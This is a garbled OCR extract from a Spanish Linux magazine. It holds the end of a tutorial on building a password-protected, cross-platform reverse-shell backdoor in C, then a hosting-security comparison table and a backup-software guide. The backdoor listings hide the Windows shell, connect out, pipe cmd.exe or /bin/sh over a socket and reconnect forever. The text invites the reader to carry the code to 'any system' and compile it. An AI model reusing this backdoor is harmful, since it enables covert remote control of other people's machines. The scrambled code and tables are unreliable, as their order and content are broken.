Para lanzar un shell en Windows tenemos que crear un proceso, el correspondiente al shell (cmd.exe), con una serie de parámetros para que nos podamos comunicar con él desde el socket. Esto se hace con una estructura llamada STARTUPINFO, la cual, entre otros parámetros, le indica al proceso por dónde ha de mandar los datos, los errores, y por dónde coger los datos. Otro punto a tener en cuenta es la versión de Windows, si es NT (o superior) o no, ya que en función de esto el nombre del shell varía de command.com (Win9x) a cmd.exe (WinNT). Los pasos para lanzar el shell serían: incluir las cabeceras necesarias, declarar las variables y estructuras necesarias, definir los handles, completar la estructura, comprobar la versión de Windows, lanzar la shell. Que pasado a código sería lo que vemos en Listado 4. Nota: En la página http://msdn.microsoft. com/library puedes ver una explicación detallada de cada función buscándolas por nombre. Los pasos a seguir en Linux para lanzar la

Listado 7a. El Backdoor multiplataforma #include <stdio.h> #include <string.h> //cabeceras y librerías según el SO #ifdef WIN32 #include <winsock2.h> #pragma comment(lib, ''ws2_32.lib'') #else #include <netdb.h> #include <sys/socket.h> #define SOCKET_ERROR -1 #endif #define PASSWORD ''mi_pass\0'' //contraseña #define LEN_BUF 1024 //numero maximo de caracteres a transferir

char Buffer[LEN_BUF]; //variable para enviar/recibir datos

int Recv; //para saber cuántos datos

hemos transferido //socket

int sock; /*función principal*/ int main()

Listado 6. Mejorando el backdoor

{

int main()

short Puerto);

{

#ifdef WIN32

{

WSACleanup(); #else

#ifdef WIN32 WSACleanup();

close(sock); #endif

#else close(sock);

RevereShell(''localhost'', 4664,PASSWORD);

#endif RevereShell(''localhost'',

} #ifdef WIN32

4664,PASSWORD); }

Sleep(100); #else

#ifdef WIN32

sleep(100);

Sleep(100); #else sleep(100); #endif }

return 0;

}

40

struct hostent *Master;

struct sockaddr_in Winsock_In;

//si estamos en windows, cargamos la librería #ifdef WIN32 STARTUPINFO start_proc;

PROCESS_INFORMATION info_proc; OSVERSIONINFO SOInfo; WSADATA wsaData; char *shell;

/*iniciamos la librería para crear un socket*/ WSAStartup(MAKEWORD(2,2), //versión del socket &wsaData //estructura que recibe las propiedades del socket );

if((sock=WSASocket(AF_INET, SOCK_STREAM,IPPROTO_TCP,

NULL,(unsigned int)NULL, (unsigned int)NULL))== INVALID_SOCKET) return 0;

#else

if((sock=socket(AF_INET, return 0;

#endif

Master=gethostbyname(Destino); // IPv4

if(send(sock,'''',0,0)<=0)

{

int Loggea();

Winsock_In.sin_family=AF_INET;

{

for(;;)

if(send(sock,'''',0,0)<=0)

int ReverseShell(char *Destino, for(;;)

int ReverseShell(char *Destino,

{

SOCK_STREAM,0))== SOCKET_ERROR)

short Puerto);

{

Listado 7b. El Backdoor multiplataforma

#endif

Winsock_In.sin_port= htons(Puerto); // Puerto al que conectar Winsock_In.sin_addr= *((struct in_addr *) Master->h_addr); //host al que conectar #ifdef WIN32

if(WSAConnect(sock,

(SOCKADDR*)&Winsock_In,

sizeof(Winsock_In),NULL,NULL, NULL,NULL)== SOCKET_ERROR) return 0;

#else

if(connect(sock,

(struct sock_addr *) &Winsock_In,sizeof

}

(struct sockaddr)) ==SOCKET_ERROR)

return 0;

return 0;

}

#endif

short port, char *pwd)

return 0;

int ReverseShell(char *Host,

Linux+ 9/2008

if(Loggea()==0)


seguridad Backdoors Listado 7c. El Backdoor multiplataforma #ifdef WIN32

shell serían: crear un proceso hijo, duplicar !dup2(sock,2)) los handles del socket y lanzar la shell. Que return 0; pasado a código sería: if(!execl("/bin/sh", "shell", NULL))

//rellenamos la estructura

if(fork()!=0)

return 0; return 0;

memset(&start_proc,0,

sizeof(start_proc));//limpiamos

start_proc.cb=sizeof(start_proc); start_proc.dwFlags=

if(!dup2(sock,0) || !dup2(sock,1) ||

Listado 7d. El Backdoor multiplataforma completo

STARTF_USESTDHANDLES; { close(sock);

start_proc.wShowWindow=SW_HIDE;

return 0;

start_proc.hStdInput =

}

(HANDLE)sock; start_proc.hStdOutput =

#endif

(HANDLE)sock;

return 1;

start_proc.hStdError = (HANDLE)sock; GetVersionEx(&SOInfo);

if(SOInfo.dwPlatformId==

VER_PLATFORM_WIN32_WINDOWS) {

}

//devuelve 0 (incorrecto) / 1 (correcto)

int Loggea() {

if(PASSWORD!=NULL)

shell=''command.com\0'';

{

}else{ shell=''cmd.exe\0''; }

{

do

//limpiamos el buffer //lanzamos la shell

memset(Buffer,0,sizeof(char*));

if(CreateProcess(NULL,shell,NU

//pedimos la contraseña

NULL,TRUE,0,NULL,NULL,&start_

password: '',strlen(''\n[#]

LL,

proc, &info_proc)==0)

send(sock,''\n[#] Introduce la Introduce la password: ''),0); //recibimos los datos Recv=recv(sock,Buffer,

{

return 1;

LEN_BUF,0);

}else{

WSACleanup(); return 0; }

#else

if(fork()!=0) {

close(sock); return 0; }

//comprobamos si ha cerrado la conexion if(Recv<=0) return 0;

Buffer[Recv-1]='\0'; } while(strcmp(Buffer, PASSWORD)!=0);

//duplicamos los handles del send(sock,''[#] Aceptada!

socket

\n\n'',strlen

dup2(sock,0);

(''[#] Aceptada!\n\n''),0);

dup2(sock,1);

}

dup2(sock,2); if(!execl(''/bin/sh'',

''sh'',NULL))

}

return 1;

www.lpmagazine.org

Con esto ya tendríamos nuestra backdoor multiplataforma, pero a poco que la compiles y la ejecutes te darás cuenta de que cualquiera puede acceder, ya que no hay contraseña de acceso, y si te desconectas una vez ya no podrás volver a conectar. Para solucionar esto vamos a definir una contraseña y crear un bucle infinito para que siempre podamos volvernos a conectar. Para poner la contraseña tendríamos que hacer lo siguiente: • • • • •

Incluir las cabeceras necesarias, Definir la contraseña, Declarar las variables necesarias para el logueo, Crear una función para enviar los datos al socket, Crear una función que pida y compruebe la contraseña.

Y como en los pasos previos, vamos a ver en Listado 5 cómo pasar estas ideas a código. Nota: Más adelante mostraré el código completo de la Backdoor en el que he modificado la función que conecta al host y la he llamado ReverseShell, para que inmediatamente después de conectar loguée al usuario y lanze la shell para ahorrarnos llamadas a funciones y hacer el código más legible). Para solucionar el otro problema y que la backdoor conecte cada vez que pierda la conexión, vamos a crear un bucle infinito y vamos a usar la función send() y según del valor que nos devuelva, sabremos si el socket está conectado o no. Si la backdoor funcionase mediante comandos como expliqué anteriormente, podríamos usar la función recv() pero en este caso no podemos porque si cogemos los datos con recv() no llegan a la shell. La función principal quedaría así como muestra Listado 6. Es importante mencionar el Sleep(100), esta es otra de las APIs de Windows que sirve para pausar la ejecución del programa (en este caso 100 milisegundos), y así no saturar la CPU, ya que cuando la conexión esté establecida no parará de repetirse el bucle todo lo rápido que nuestro PC pueda y podemos causar un reinicio del PC, cosa que no nos interesa. Esto sería todo lo necesario para crear la Backdoor, el código completo quedaría como en Listado 7. Ahora, sólo tenemos que llevarnos el source al sistema que queramos y compilarlo.

41


seguridad Seguridad de Hosting

Seguridad de Hosting - Comparativa

E

stoy seguro de que todos aquellos usuarios que siempre hemos querido tener un portal y ofrecer nuestro conocimiento con nuestro propio dominio o todas esas empresas que ofrecen a sus clientes información y servicios a través de su flamante web y confían sus más preciados datos a una empresa de Hosting, no se quedarán o, mejor dicho, no nos quedaremos indiferentes después de leer la comparativa que os presentamos a continuación.

todas ellas. Todos esos datos son los que cualquier • responsable de TI o cualquier usuario deseoso de • tener su propio espacio deseará conocer. •

Eligiendo las Preguntas

Estoy convencido de que hay un porcentaje alto de clientes de Hosting que no saben (o nunca se les ha ocurrido preguntar) qué les puede ofrecer su proveedor en cuanto a seguridad o qué valor añadido nos ofrecen a la hora de salvaguardar nuestros datos. Los grupos de preguntas que os presentamos, pretenden ser un referente para todos aquellos usuarios o empresas que no sepan por dónde empezar. Después de mi experiencia para escribir este artículo, si algún día contratara una empresa de Hosting, repetiría el ejercicio las veces que fueran necesarias. Luego os cuento por qué... Todas las preguntas recibidas se analizaron y se comprimieron en 23, creando los 9 grupos listados a continuación:

Cómo se hizo

Digo os presentamos, porque el humilde autor de este artículo no ha sido la única persona involucrada en la preparación de las preguntas y la gestión de la información a la hora de elaborarlo. Con el liderazgo de Aleksandra Tęsiorowska, se recopilaron más de 50 posibles preguntas de seguridad, las cuales tendrían que dirigirse a diferentes empresas de Hosting. Todas esas preguntas eran Oro, provenientes de Usuari@s, Ingenier@s y Técnic@s de todo tipo. Personas con experiencia y conscientes de la oportunidad tan importante de recibir información clave a la hora de elegir una empresa de este tipo. Simplemente creo que el valor de los datos que os presentamos a continuación reside en la experiencia y conocimiento de

• • • • • •

Protección Física Actualizaciones de Software Servicio de Atención al Cliente y Soporte Monitorización de Equipos Protección de Software y Hardware Sistemas de Recuperación de Datos

Acens

Argored P

r

o

t

La Empresa Software que Ofrecen Comunicaciones

Las Empresas

Una vez transcritas y agrupadas las preguntas se enviaron a las siguientes empresas (listadas por orden alfabético): • • • • • • • •

Acens Argored Claranet Comalis ConsultorPC CyberNETicos Hostinet inforTELECOM

Las Preguntas. ¿Qué desean saber y qué esperan los usuarios?

Las Preguntas agrupadas, fueron las siguientes: •

Protección Física. • ¿Qué sistemas de seguridad tienen en su edificio? (Contra-incendios, cámaras, seguridad física, etc.) • En caso de catástrofe, ¿Hay definido un plan de contingencia?

Clara.net e

c

c

i

ó

n

Comalis F

í

s

i

c

a

Sistemas de Seguridad en el Edificio

* Sistemas de Vigilancia y Acceso de última generación Físicos y Automáticos. * Acceso con geometría de mano y Tarjeta por Proximidad. * Sistemas de detección y extinción de incendios automáticos y modernos. Resistencia de paredes y puertas al fuego de 2 horas. * Detectores de Humedad. * Sala acorazada. * Alimentación Redundante (2 líneas a Rack), SAIs, Grupo Electrógeno 3 días y Gasoil 24h. * Climatización con Redundancia.

* Sistemas de Vigilancia y Acceso Comunes. * Cámaras y Acceso con tarjeta por Proximidad.

* Sistemas de Vigilancia y Acceso Comunes Físicos y Automáticos. * Cámaras y Acceso con Tarjeta por Proximidad. * Sistemas de Detección de Incendios. Extinción por Gas. * Alimentación Redundante y Generador Eléctrico de respaldo (redundancia N+1). * Climatización con Redundancia.

* Sistemas de Vigilancia y Acceso Comunes Físicos y Automáticos. * Cámaras y Doble control de acceso. * Sistemas de Detección de Incendios. Extinción por Gas. * Alimentación Redundante y dos Grupos Electrógenos. * Climatización con Redundancia. Regulador Higrométrico. * Conectividad Redundante (2 Fibras).

Plan de Contingencia

Varios según el impacto. Pruebas periódicas de los mismos.

Uno definido en 2004.

Uno. Se revisa anualmente.

No se especifica.

¿Cómo se realizan?

* Personal Interno. Suscritos a diferentes listas de seguridad. * Sistemas de Gestión de Parches.

* Personal Interno.

* Sólo en servidores administrados por Claranet. * Manualmente.

* Automáticas cuando son de seguridad o parches.

Frecuencia

* Categorizadas. * Cada vez que existe una nueva versión con parches de seguridad. Se avisa al cliente afectado.

* Diariamente si son necesarias.

* Cada vez que existe una actualización o parche. * Si no es conveniente, no se realiza a no ser que se especifique por el cliente.

* Categorizadas.

Soporte a versiones antiguas

Sí, siempre que el cliente lo desee y asumiendo que es posible que no se disponga de parches.

No.

No. Posible bajo estudio.

Sí.

A

S

e

r

c

v

t

u

i

c

a

i

l

o

i

z

d

a

e

c

i

A

o

t

n

e

e

n

s

c

d

i

ó

e

n

S

a

o

l

f

t

C

w

l

a

i

r

e

e

n

t

e

Servicio de Soporte

24x7 Propio.

24x7 Propio.

Personalizado con 3 Niveles. Manos Remotas (Asistencia Remota).

Propio. Teléfono de Lunes a Viernes y Automático los 7 días.

Diferencias con otros DataCenter

CRC. Experiencia.

Personalización.

Personalización.

No se especifica.

42

Linux+ 9/2008


seguridad Seguridad de Hosting •

Actualización de Software • ¿Cómo realizan las actualizaciones? ¿Con qué frecuencia? ¿Dan soporte a versiones antiguas u obsoletas? Servicio de Atención al Cliente • ¿Qué servicio de soporte ofrecen? ¿Qué le diferencia de los demás DataCenter? Monitorización de Equipos • ¿Utilizan software de monitorización? ¿Cuál? ¿Qué servicios y logs chequean? Protección de Software y Hardware • ¿Qué aplicaciones o hardware utilizan para gestionar la seguridad? Firewalls, Antivirus, AntiSpam, etc. ¿Que sistema de detección de intrusos utilizan? ¿Qué pasos realizan en caso de intrusión? • En caso de servidor compartido, ¿Cómo actúan frente a un cliente cuyo sistema web o aplicación pueda comprometer la seguridad del servidor? Sistemas de Recuperación de datos • Cuál es el período de los backups? ¿Pueden ser automáticos? ¿Ofrecen la posibilidad de RAID? ¿Qué tipo? La Empresa • ¿Tiene certificación ISO 9000/2100 o ITIL? ¿Puede visitarse el DataCenter?

ConsultorPC

Los chequeos de seguridad, ¿Los realiza la misma empresa o un tercero? Software que ofrecen • ¿Qué versiones de software tienen instalada? Comunicaciones • ¿Qué tipo de cifrado utilizan para transferencia de datos y qué garantías ofrecen?

maravillosa experiencia, os puedo asegurar que la calidad de una empresa puede residir también • en la calidad de la información recibida. Como clientes, esperamos que la empresa que nos provea el servicio, nos asegure calidad técnica • y personal, calidad en seguridad y calidad en servicios. Cada uno de los ocho informes recibidos, decía mucho más que lo reflejado en éste artículo. Desde mi punto de vista, no sólo el contenido técnico es importante, sino también Qué nos ofrecen las empresas la forma en la que se presenta el resultado. Hoy Cada una de las 8 empresas envió su informe, por hoy, yo tendría claro a quién confiar mis donde se enumeraban de maneras muy dife- datos, pero eso ya es otra historia. rentes las respuestas a todas esas preguntas. En la tabla comparativa, el lector podrá evaluar de una forma técnica y resumida cada uno de los valores recibidos. Creo que es Sobre el Autor importante que el ejercicio se repita de forma José Ángel Muñoz Martínez es Técnico Suindividual y siempre dentro de las necesidaperior de Informática de Sistemas. Actualdes personales o de empresa que requiramos mente trabaja en el sector de la RFID. Coy, completando todos aquellos datos que por laborador ya habitual de esta revista, aparte deficiencia o motivos de seguridad de la de la lectura y los viajes, dentro de la inforempresa, no están reflejados en el análisis mática sus intereses son: el software libre, presentado en la tabla. Linux y todo lo relacionado con las comunicaciones y la seguridad. Su blog personal está en http://linux-neobook.blogspot.com/ y su correo, donde podréis contactar con él, josea.munoz@gmail.com.

Conclusión

Anteriormente decía que si algún día contratara una empresa de Hosting, repetiría el ejercicio las veces que fueran necesarias. Después de esta

CyberNETicos P

r

Hostinet o

t

e

c

c

i

ó

n

F

í

s

inforTELECOM i

c

a

* Sistemas de Vigilancia y Acceso Comunes Físicos y Automáticos. * Sistemas de Detección de Incendios. * Alimentación Redundante y Generadores de Energía Diesel. * Climatización con Redundancia. * Conectividad Redundante. * Hardware Redundante.

* Sistemas de Vigilancia y Acceso Comunes Físicos y Automáticos. * Sistemas de Detección de Incendios y Extinción en seco. Resistencia de paredes y puertas al fuego de 2 horas. * Alimentación Redundante. * Climatización con Redundancia y Humificador de respaldo.

* 18 operadoras diferentes con fibra, asegurando conectividad. * Sistemas de Vigilancia y Acceso Comunes Físicos y Automáticos. * SAIs y Sistema autónomo por Gasoil.

* Tier IV. * Conectividad redundante. * Sistemas de Vigilancia y Acceso Comunes Físicos y Automáticos. * Sistemas Anti-Incendios y Climatización. * SAIs y Grupos Electrógenos.

Sí. Migración en menos de 24 horas.

Backups cada 48 horas incrementales. No se especifica un plan de contigencia como tal.

No se especifica.

Copias de Seguridad fuera del centro de datos. No hay redactado un plan de contingencia como tal.

A

c

t

u

a

l

i

z

a

c

i

o

n

e

s

d

e

S

o

f

t

w

a

r

e

* Automáticas y Manual. Personal Interno.

* Personal Interno.

* Personal Interno.

* Personal Interno. También de Hardware.

* Inmediata cuando es de seguridad.

* Continuamente.

* Continuamente.

* Cada vez que existe una actualización o parche.

Sí.

No se especifica.

Sí.

Se evita. En el caso de ser necesario se aísla.

S

e

r

v

i

c

i

o

d

e

A

t

e

n

c

i

ó

n

a

l

C

l

i

e

n

t

e

Propio. Horario de Oficina y 24 Horas para Urgencias. Soporte Web y e-mail. Chat MSN.

Propio. Teléfono, Chat y Tickets.

10 Personas Propias y Call Center Externo. Lunes a Viernes. E-mail y 902.

Teléfono o e-mail. Propio.

Técnicos asignados a cuentas individuales.

Tiempo de Resolución.

Propio.

Personalización.

www.lpmagazine.org

43


seguridad Seguridad de Hosting Acens

Argored M

o

n

i

t

o

r

i

z

a

c

Clara.net

i

ó

n

d

e

Comalis

E

q

u

i

p

o

s

Software de Monitorización

Diferentes Tipos. No se especifica.

MRTG, Nagios, Ethereal, Ganglio, F.L.A.V.I.O.

Nagios, Zabbix y Cacti.

Nagios y Propio.

Servicios y Logs monitorizados

* Conectividad. * Repuesta a Puertos de Comunicación y Peticiones a nivel Aplicación. * Procesos Críticos. * CPU, Memoria, Disco. * Transferencia de Red. * Sesiones y Alarmas en Firewalls. * Temperatura en Routers.

* Conectividad. * Estado del Servidor. * DNS, HTTP, HTTPS, SMTP, POP3, FTP, etc.

* Depende del Servidor. * Carga. * Uso de Memoria. * Disco. * Número y Tipo de Conexiones. * Procesos. * Usuarios. * Conectividad. * Servicio de Administración (SSH).

* Conectividad. * HTTPD. * Qmail. * DNS Cache. * DNS Recursive.

Aplicaciones o Hardware para Seguridad Utilizados (Firewalls, Antivirus, AntiSpam, etc)

Diferentes Tipos. No se especifica.

* Firewall Perimetral con IDS. * HoneyNet.

* SinkHole basado en Netflow de Cisco. Bloqueo de IP Origen. * Firewall Iptables y Junniper. * Antivirus ClamAV. * AntiSpam SpamAssassin y AV/AS de Anubis Networks.

* Firewall Principal de Cisco. * Antivirus Dr. Web y Kaspersky. * AntiSpam SpamAssassin y Baracuda (Servidor).

Sistema de Detección de Intrusos

No se especifica. Características: * Equipos dedicados. * Detección de Anomalías. * Detección por Firmas. * Detección de aumento de paquetes. * Detección de desviación estadística de patrones de tráfico.

No se especifica.

SNORT y Casync.

Snort.

Pasos en caso de intrusión

* Análisis de la vulnerabilidad. * Retirada del contenido o desactivación del servicio vulnerable. * Bloqueo de IP remotas. * Notificación al Cliente.

Análisis. Procedimiento según diferentes protocolos.

Resolver la incidencia y Análisis.

* Neutralización y Análisis. * Se detecta el origen y archivos log. * Medidas.

Problemas de Seguridad en Servidor Compartido

* Aislamiento. Tecnología basada en jaulas (Unix) y Control de Application Pools (Microsoft). * Se desactiva si hay un problema de seguridad que pueda afectar al resto.

* Bloqueo y Aislamiento.

* Resolución de Incidencia o Aislamiento dependiendo del problema.

No se especifica.

S

i

s

t

e

m

a

d

e

R

e

c

u

p

e

r

a

c

i

ó

n

d

e

D

a

t

o

s

Período de Backups

Según Contrato.

Diario.

Según Sistema. En la mayoría diario con histórico semanal.

Diario.

Automáticos

Sí. Por red a un sistema centralizado. Discos y Cintas que se guardan en sala acorazada con armarios ignífugos.

Sí.

Sí.

Sí.

RAID. ¿Cuál?

Sí. Según Contrato y Hardware.

Sí, 0, 1, 5 y 6.

Raid 5.

RAID 5.

Certificación ISO 9000/2100 o ITIL

AENOR. UNE 71502:2004 ISO/IEC 27001: 2005.

ISO 207001.

No. El DataCenter ubicado en el proveedor de infraestructura dispone de ISO 9001, 14000 e ITIL.

No. Sí de empresas privadas.

Posibilidad de Visitar Datacenter

* Sí, por Clientes de Servicios de Alta Gama y Medios de Comunicación, exceptuando ciertas áreas. * Clientes de Housing con tarjeta e identificación biométrica. * En caso de Auditoría.

Sí, previa petición y registro.

Sí.

Sí, previa petición.

¿Quién realiza los chequeos de seguridad?

Personal Interno y Externo.

Personal Interno y Externo.

Personal Interno para la seguridad de Servidores. Tercero para la seguridad de infraestructura del DataCenter (Clima, Suministro, Antiincendios...)

Terceros, tanto a nivel físico como en la red.

E

S Versiones de Software Instaladas

o

f

t

44

a

No se especifica.

r

p

e

r

q

e

u

s

a

e

O

RedHat Enterprise Linux y Compatibles.

C Cifrado para transferencia y Garantías

w

m

o

m

* Cifrado Asimétrico. * Certificados Digitales. * IPSec y VPN.

u

n

i

c

a

c

f

r

e

c

e

n

No se especifica.

i

Diferentes. No se especifica.

Linux+ 9/2008

o

n

e

No se especifica.

s

* SSH. * IPSec y VPN. * VPN con SSL.

* SSH de 1024 bits.


seguridad Seguridad de Hosting ConsultorPC

CyberNETicos M

o

n

i

t

o

r

Hostinet

i

z

a

c

i

ó

n

d

inforTELECOM

e

E

q

u

i

p

o

s

Zabbix. 4 Sistemas Redundantes Distribuidos.

PRTG, Portchecker, Paesller IPCheck, StatsDawg, SiteUptime, WebSitePulse.

Nagios y Cacti.

Nagios y Cacti. DELL IT Assistant.

Todos los activos en cada servidor. Sin límite.

* SMTP. * HTTP. * MySQL. * POP.

Todos los Servicios Disponibles.

* Todos los Servicios Disponibles. * Control de Hardware Físico.

* Appliance Cisco. Firewalls Cisco en Racks. * AntiSpam Titan. * Antivirus Kaspersky y ClamAV.

* APF, BFD, mod_security, mod_evasive, SpamAssassin, ClamAV, Real-time BlackHole List y Filtros Locales.

No se especifica.

* Firewall Perimetral (Iptables) redundante en la empresa. Firewalls Individuales en Equipos. En Linux Iptables, en Windows, Propio. * Mail Scanner, ClamAV, SpamAssassin, GreyListing, RBL (Real-Time Black Hole List).

Firewalls.

Mod_Security y DirectAdmin BlackLists.

No se especifica.

Descritos Arriba. * Revisión diaria de informes automatizados. * Revisión Periódica Manual. * Revisión de Noticias de Seguridad.

No se especifica.

No se especifica.

Suspensión de la Cuenta para Solucionar el Fallo por parte del Cliente.

* Aislamiento con medidas de impacto. * Análisis y Medidas. * Reinstalación en caso de no poder solventarlo.

* Notificación al Cliente. * Suspensión de Servicio y Análisis con Presupuesto para Solucionarlo. * Con VPS instalación de Firewalls.

* Indicación del Problema. * Recomendaciones para Solucionarlo.

No se especifica.

* Notificación al Cliente. * Desactivación en Caso de Gravedad. * Oferta de Servicios Más seguros.

S

i

s

t

e

m

a

d

e

R

e

c

u

p

e

r

a

c

i

ó

n

d

e

D

a

t

o

s

Diario y Tiempo Real bajo demanda.

No se especifica. Incrementales, locales y Remotas.

Diario.

Por el usuario a través del panel de control.

Sí.

No se especifica.

Sí, a través de Cpanel.

Sí, a través del panel de control. Local o Remota.

Todos.

RAID 1.

RAID 1 mínimo. Posibilidad de elección.

RAID 1 o 5.

Sí.

No se especifica.

En Proceso de ISO 9000/ 2100 y Q de calidad.

No.

Sí. Los clientes de Housing tienen acceso propio.

Sí, previa petición. Sólo clientes de servidores dedicados.

Sí, previa autorización.

Sí.

Personal Interno, con auditorías externas periódicas.

Personal Interno.

Personal Interno y Externo.

Personal Interno y Externo en algunos casos.

E

S * SO CentOS o RedHat. * CPanel, Fantástico para Cpanel. * Blogs b2evolution, Nucleus, WordPress. * CMS Drupal, Mambo, PHP Nuke, SiteFrame, Crafty Sintaxis, OSTicket, Logic Support, PhPbb, SMF. * 4images Gallery, Coppermine, Gallery. * Listas de Correo PHPList.

o

f

t

a

r

p

e

r

q

e

u

s

o

m

u

n

i

c

a

a

e

* Debian Etch. * Xen 3.0. * DirectAdmin 1.32.1. * PHP5. * MySQL 5. * Apache2.

C * SSL. * FTP Cifrados, bajo demanda.

w

m

O

f

r

e

c

e

n

* Apache 2.2.8. * PHP 5.2.6. * MySQL 5.0.51a.

c

* SSL. * OpenSSL. * Certificados 128 y 256 bits.

www.lpmagazine.org

i

o

n

* AES-256.

e

No se especifica.

s * SSL. * Posibilidad de PGP.

45


seguridad Copias de seguridad

Copias de seguridad Gabriel García

linux@software.com.pl

Nuestro equipo siempre es vulnerable a fallos en el hardware, sobre todo en discos rígidos, a descuidos nuestros y a ataques o fallas de los programas que usamos, por eso es importante realizar copias de seguridad de nuestros datos y/o sistemas a intervalos regulares. Hoy veremos cómo hacerlo.

E

ste término se refiere a la creación de copias de los datos actuales de manera de poder restaurar los mismos ante una pérdida de los originales o porque se necesitan ver datos del pasado, por lo que muchas veces se tienen juegos de copias realizados cada cierto período. Las copias se pueden dividir en dos grandes grupos:

datos. En Linux suele haber cierta creencia entre muchos de sus usuarios de que es invulnerable a todo, lo que es un error muy grave, porque ya se ha visto que en informática nada es invulnerable. La lista de razones para hacer copias de seguridad es muy grande pero pondré solamente algunas para que vean que no es un punto a menospreciar:

• Recuperar datos ante una falla o rotura en el disco rígiCopia de seguridad de archivos de datos, documentos do. por ejemplo, • Recuperar los datos en caso de robo del equipo, sobre • Copia de seguridad del sistema. todo en portátiles. • Necesidad de volver a una copia antigua ante una soEn sí, los dos tipos son lo mismo, la única diferencia es breescritura por error de un archivo o borrado accidenque en el primero se guardan cierto tipo de archivos y en tal. el segundo todos los archivos de la ordenador, de manera • Fallos de software, desde una mala instalación o ejecude poder realizar una restauración completa del sistema al ción de un programa o un ataque de virus u otro tipo. momento de hacer el respaldo. Quizás en el mundo Linux no • Sentirnos tranquilos que nuestro trabajo está en otro está tan establecido lo de realizar copias de seguridad como lado por si las dudas... en sistemas Windows, donde los usuarios después de sufrir ataques de virus y fallas en el sistema de archivos, sobre todo Tipos de copia de seguridad en sistemas más viejos con FAT, el NTFS es más robusto en Ya hemos establecido la importancia de la copia de segueste aspecto, han aprendido a la fuerza a realizar copias de sus ridad, ahora veremos los diferentes tipos de copia que hay, •

46

Linux+ 9/2008


seguridad Copias de seguridad ya que la mayoría del software nos permitirá escoger entre ellas: •

Completa: Se realiza una copia de todos los archivos que hemos configurado, el uso de espacio necesario puede ser considerable, aunque la mayoría de las veces se usa algún método de compresión de manera de opti- • mizar espacio. Este método es el más recomendable y el primero a realizar siempre. Incremental: A la copia completa se le van agregando pequeñas copias de los archivos que han cambiado desde la última copia de seguridad, este método es rápido y eficien- • te pero tiene la contra de que cuando necesitamos recuperar los datos tenemos que usar la copia completa primero y después una por una todas las copias incrementales hasta la última. Diferencial: A la copia completa se le van • agregando los archivos que cambiaron desde la última copia de seguridad completa, a diferencia del incremental que solamente se agregan desde la última copia incremental, la contra de este método es un mayor tamaño de archivo pero con la ventaja que para recuperar un archivo solamente necesitamos la última copia completa y la última copia diferencial, sin tener que pasar por las del medio como en el método previo.

do de a poco. Las diferencias de tipos, modelos y fabricantes hace que existan ciertas incompatibilidades entre algunos de ellos. La grabación es secuencial lo que hace que recuperar datos sea rápido. Muy raro en équipos hogareños o incluso servidores pequeños. Discos rígidos: Suelen ser un método efectivo, el aumento de capacidad y baja en los precios han hecho que sea un método en crecimiento, sobre todo los discos externos que suelen conectarse vía USB y hacen fácil su transporte. Discos sólidos: A diferencia de los anteriores son mucho más pequeños y fáciles de transportar pero más lentos y de capacidad mucho menor, pero suelen ser una opción sencilla y barata si los requisitos de espacio no son muy grandes. Sistema en línea o remotos: Se suele usar Internet o la red para guardar los datos. Existen servicios gratuitos como SkyDrive (http://skydrive.live.com/) hasta 5 Gb o Mozy (http://mozy.com/) hasta 2Gb. También gratuitos, y de pago que nos dan espacio para poner nuestros archivos, este método es bueno ante robo de equipos o daños como incendio, ya que nuestros datos están lejos. El punto débil es que la velocidad de Internet es lenta para enviar grandes cantidades de datos por lo que es conveniente usarlos solamente para archivos muy importantes.

Aplicaciones para realizar copias

La lista de programas de copia de seguridad es bastante larga, por lo que trataré de comentar los que me han parecido más completos y sencillos de usar sin que esto sea una limitante en la funcionalidad.

Keep

Empezaremos con este programa para el entorno KDE, pero que funciona en Gnome también, como podemos ver en la Figura 1 su interfaz es simple y clara en cuanto a las tareas que queremos realizar: •

Si bien hay otros tipos de copia como la de tiempo real, son muy complejas o no están Otras consideraciones orientadas al usuario hogareño. Algunos detalles a tener en cuenta:

Soportes de almacenamiento

• •

Los datos de la copia deben ser guardados en algún soporte para poder ser guardados o instalados en el mismo u otro equipo, los medios más comunes son: • •

Discos ópticos (CD/DVD): La mayoría de los equipos de hoy cuentan con una grabadora de CD o DVD y el bajo costo de los discos vírgenes hacen de éste un método • barato y sencillo. Disquetes/discos ZIP: Los discos de 31/2 están en decaída y ya casi no se usan, sobre todo por la capacidad de almacenamiento y que muchos equipos nuevos • se venden sin disquetera, algo parecido sucede con los discos ZIP que fueron muy populares pero el alto costo con respecto a los CDs ha hecho que su uso decaiga, además no todo el mundo tiene una lectora para estos discos. • Cinta magnética: muy usado en grandes infraestructuras, pero su uso está decayen-

Es importante tratar de comprimir los datos, esto asegura optimizar espacio en los medios donde copiamos los datos. Usar formatos comunes en las copias y, si es posible, independientes de la plataforma o sistema operativo; esto nos asegura poder recuperarlos en casi cualquier equipo. Además suele ser conveniente usar encriptación si nuestros datos son importantes y no queremos que terceros accedan a ellos sin nuestro consentimiento. Cada tanto también conviene probar nuestras copias y simular una recuperación para asegurarse que los medios están correctos y que el proceso puede ser completado en su totalidad. Siempre conviene tener nuestras copias en un lugar diferente que nuestro equipo.

www.lpmagazine.org

Agregar directorio a la lista: Permite agregar una nueva carpeta a la lista para guardarlas cuando se realiza la copia (Figura 2). Además, podemos incluir o excluir diferentes tipos de archivos, lo que es muy útil para filtrar archivos muy grandes como imágenes ISO o máquinas virtuales que no queremos guardar. Si pulsamos Siguiente se nos preguntará dónde deseamos guardar nuestra copia, en este caso uso mi directorio de usuario para después guardarlo. En un CD, pero podría usar una carpeta de red por ejemplo (Figura 3). El último paso es decidir cada cuántos días queremos que se realice la copia, esto lo hará automáticamente, si queremos borrar las copias pasados algunos días, y como dijimos antes permite comprimir los datos lo cual es siempre recomendable. Al pulsar Finalizar se cierra el asistente. Restaurar una copia: Recupera datos de una copia ya realizada, en este caso elegiL I N U X +

R E C O M I E N D A

47


seguridad Copias de seguridad

• •

mos el trabajo de copia o buscarlo en otra ubicación (Figura 5), en el siguiente paso podremos elegir el destino a donde recuperar los archivos, ya sea en la ubicación original o como vemos en la imagen a una ubicación alternativa como /tmp (Figura 6). El paso final es elegir el punto de restauración de las copias de la lista de fechas. Copiar ahora: Este botón comienza el proceso de copia de los archivos que tengamos en nuestra lista. Si tenemos más de uno en la lista podremos elegir entre ellos. Editar lista: Pódremos modificar la lista de carpetas a guardar. Figura 1. Keep Ver registro de copia: Permite ver el resultado de operaciones pasadas, esto es útil para saber si ha habido errores.

Figura 5. Directory de restore

Por último, tenemos tres botones para manejar el demonio que hará las copias automáticamente cuando el tiempo especificado se cumpla. Por supuesto tienen que estar activados para que esto suceda. Figura 6. Restaurando con Keep

Sbackup (Simple Backup)

